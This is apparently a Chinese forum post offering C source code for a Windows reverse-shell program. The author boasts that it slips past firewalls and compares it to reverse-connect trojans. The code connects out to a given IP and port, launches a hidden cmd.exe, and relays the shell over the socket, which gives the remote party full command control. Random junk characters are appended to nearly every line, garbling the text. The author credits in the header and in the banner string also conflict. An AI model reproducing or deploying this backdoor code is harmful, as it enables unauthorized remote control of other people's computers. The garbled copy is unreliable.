Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 F2',3  
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/* ============================== bqQR";  
Rebound port in Windows NT 7Dz-xM_?  
By wind,2006/7 E<tJ8&IGk  
===============================*/ bDV/$@p  
#include gnw?Y 2
 
#include <a&$D  
hJ~=eYK?J  
#pragma comment(lib,"wsock32.lib") IGI$,C  
=gO4B-[  
void OutputShell(); 1*OZu.NdK  
SOCKET sClient; A7aW]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -\8v{ry  
!InC8+be  
void main(int argc,char **argv) ;_A?Zl}  
{ et@<MU@`  
WSADATA stWsaData; :Mq{ES%  
int nRet; Uq(fk9`6  
SOCKADDR_IN stSaiClient,stSaiServer; >'&|{s[m  
;x-]1xx_  
if(argc != 3) 9@ :QBe3]  
{ F7JF1HfCP  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ji0FHa_  
return; u9R@rQ9r  
} KH9D},  
OTWp,$YA=  
WSAStartup(MAKEWORD(2,2),&stWsaData); @}_Wl<kn  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Pzh#rYY~W  
WI-I+0sE  
stSaiClient.sin_family = AF_INET; _{?-=<V'_  
stSaiClient.sin_port = htons(0); Di&XDW/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j2=|,AmC  
n?8xRaEf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1oL3y;>iL  
{ luCwP  
printf("Bind Socket Failed!\n"); B[r04YGh  
return; RFLw)IWkL_  
} G`,M?lmL  
A{ . A1  
stSaiServer.sin_family = AF_INET; ]Tn""3#1g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mh,a}bX{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M)sAMfuUw  
Dn+hI_"#_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9+I/bl4  
{ f_|=EQ  
printf("Connect Error!"); M[7$F&&n  
return; K8fC>iNbH  
} i?'|}tK  
OutputShell(); >4nQ&b.u  
} B;J8^esypD  
b}Xh|0`b+  
void OutputShell() }KR"0G[f  
{ |_%q@EID  
char szBuff[1024]; l|K$6>80  
SECURITY_ATTRIBUTES stSecurityAttributes; HD>UTX`&mc  
OSVERSIONINFO stOsversionInfo; >yqFO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C\}M_MD  
STARTUPINFO stStartupInfo; f^G-ba  
char *szShell; \ 9#X]H  
PROCESS_INFORMATION stProcessInformation; gh.+}8="  
unsigned long lBytesRead; .:B;%*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TECp!`)j"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &|fWtl;43  
stSecurityAttributes.lpSecurityDescriptor = 0; 'oF('uR  
stSecurityAttributes.bInheritHandle = TRUE; oe[f2?-  
:O]US)VSj  
=!DpWVsQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }[SYWJIc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \-r"%@OkW  
x,TnYqT^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B9S@G{`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'm.+S8  
stStartupInfo.wShowWindow = SW_HIDE; u4DrZ-v  
stStartupInfo.hStdInput = hReadPipe; Jj~|2Zt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )&93YrHgC  
v>0} v)<v  
GetVersionEx(&stOsversionInfo); wx_j)Wij6  
- 9a4ej5  
switch(stOsversionInfo.dwPlatformId) fxc?+<P  
{ "0J;H#Y"#  
case 1: o~26<Lk  
szShell = "command.com"; ^n*:zmD  
break; c uHF^l  
default: 1Hs'YzvY  
szShell = "cmd.exe"; 5.QY{+k  
break; XUTsW,WC  
} DY1"t7 9E  
Hh* KcIRX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UHBMl>~z  
#q6#nfi"  
send(sClient,szMsg,77,0); >O~   
while(1) qI*7ToBJ  
{ hp}JKj@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ku
GaOO  
if(lBytesRead) =4gPoS  
{ |2Uw8M7.E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Uz%2{HB@{  
send(sClient,szBuff,lBytesRead,0); _=HNcpDA;0  
} Gyb|{G_  
else bfI= =  
{ >~L0M  
lBytesRead=recv(sClient,szBuff,1024,0); ?Zc(Zy6  
if(lBytesRead<=0) break; 3zMaHh)mj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L+8O 4K{  
} s\0,@A  
} C@u}tH )  
I?_WV_T&  
return; x;A.Ll  
}